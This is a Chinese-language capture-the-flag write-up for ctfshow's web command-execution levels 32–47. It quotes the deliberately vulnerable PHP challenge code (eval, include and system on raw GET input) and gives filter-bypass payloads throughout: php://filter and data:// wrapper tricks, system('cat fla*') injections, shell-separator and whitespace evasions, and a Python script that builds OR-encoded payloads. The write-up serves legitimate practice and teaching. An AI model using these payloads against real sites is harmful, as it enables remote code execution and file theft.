ctfshow web入门 命令执行
web32
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 00:56:31 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
这里将(和;都禁用了 并且php中不用括号的函数有echo、print、die、include、require、include_once、require_once,
用include函数和php伪协议来读php文件:
playload:
?c=include$_GET[0]?>&0=php://filter/read=convert.base64-encode/resource=flag.php
然后base64解码得到flag
32-35同理
web36
过滤了数字,将get传参的参数换成字母即可
playload:
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
web37
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 05:18:55 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ //flag in flag.php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__); }
文件包含get传入的值,利用伪协议读flag
playoad:
?c=data://text/plain,<?php system("cat f*"); 或者
?c=data://text/plain,<?php system("cat fla*")?>
web38
多过滤了两个字符file和php,使用php短标签进行绕过
或者base64编码绕过
?c=data://text/plain,<?= system("cat fla*")?>
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs=
web39
if(!preg_match("/flag/i", $c)){ include($c.".php");
data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用
?c=data://text/plain,<?= system("cat fla*")?>
web40
if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){ eval($c); }
符号基本都过滤了,但是这里过滤的是中文的括号()
这道题思想应该就是通过数组改造来读取文件
localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
pos():返回数组中的当前元素的值。
array_reverse():数组逆序
scandir():获取目录下的文件
next(): 函数将内部指针指向数组中的下一个元素,并输出。
通过 pos(localeconv())得到点号,然后利用scandir(.)来获取当前目录下的文件
通过构造来查看目录下的文件
?c=print_r((scandir(current(localeconv()))));
接下来就是读取flag.php
首先逆序数组,flag顺序变为1,(从零开始)用next函数指针指向下一位,可得到flag所在位置
?c=print_r(next(array_reverse((scandir(current(localeconv()))))));
最后一步读取flag内容,使用highlight_file()函数
highlight_file() 函数对文件进行语法高亮显示。
?c=highlight_file(next(array_reverse((scandir(current(localeconv()))))));
web41
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){ eval("echo($c);"); }
过滤了小写字母以及符号~ ^ &等符号,说明不能通过取反,异或和相与绕过,但是这里没过滤符号|,可以进行或绕过
这里从网上找了一个大佬绕过的脚本,也很简单,现筛选出未过滤的字符,然后彼此或运算,找出我们需要的字符。
import re import requests url="http://b14a69c5-67d2-4776-9df7-e0f3635e2385.challenge.ctf.show/" a=[] ans1="" ans2="" for i in range(0,256): c=chr(i) tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',c, re.I) if(tmp): continue #print(tmp.group(0)) else: a.append(i) # eval("echo($c);"); mya="system" #函数名 这里修改! myb="cat flag.php" #参数 def myfun(k,my): global ans1 global ans2 for i in range (0,len(a)): for j in range(i,len(a)): if(a[i]|a[j]==ord(my[k])): ans1+=chr(a[i]) ans2+=chr(a[j]) return; for k in range(0,len(mya)): myfun(k,mya) data1="(\""+ans1+"\"|\""+ans2+"\")" ans1="" ans2="" for k in range(0,len(myb)): myfun(k,myb) data2="(\""+ans1+"\"|\""+ans2+"\")" data={"c":data1+data2} r=requests.post(url=url,data=data) print(r.text)
获得flag
web42
> 代表重定向到哪里,例如:echo "123" > /home/123.txt
1 表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于"1>/dev/null"
2 表示stderr标准错误
& 表示等同于的意思,2>&1,表示2的输出重定向等同于1
1>/dev/null 首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,说白了就是不显示任何信息。
2>&1 接着,标准错误输出重定向等同于 标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件
简单来说:>/dev/null 2>&1主要意思是不进行回显的意思,要让命令回显,那么进行命令分隔即可
或者要想绕过这个“黑洞“,需要往里面传入两个参数,shell会执行第一个参数,将第二个参数带入到黑洞
; //分号
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行
构造playload:
?c=cat flag.php;
?c=cat flag.php || ls
查看源代码,获得flag。
web43
if(!preg_match("/\;|cat/i", $c)){ system($c." >/dev/null 2>&1"); }
过滤掉了;和cat
和42套路一样
构造playload
?c= nl flag.php || ls
web44
过虑了:和cat以及flag,比43多过滤了个flag,用*表示即可
?c= nl fla* || ls
web45
空格可以用${IFS}
和%0a
代替绕过过滤
%0a是回车键,是换行
但是我在使用${IFS}时,并不能得到flag,搞不懂是为什么这就用%0a绕过
构造playload
?c=nl%09fla*||ls (%09水平定位符)
?c=nl%09fla*.php%0A
web46
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){ system($c." >/dev/null 2>&1"); }
多过滤了数字和*,我们可以用?来代替即可
playload
?c=nl%09fla?.php%0A
web47
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){ system($c." >/dev/null 2>&1"); }
过滤了很多打开flag.php的函数,但是依然没有过滤nl
playload
?c=nl%09fla?.php%0A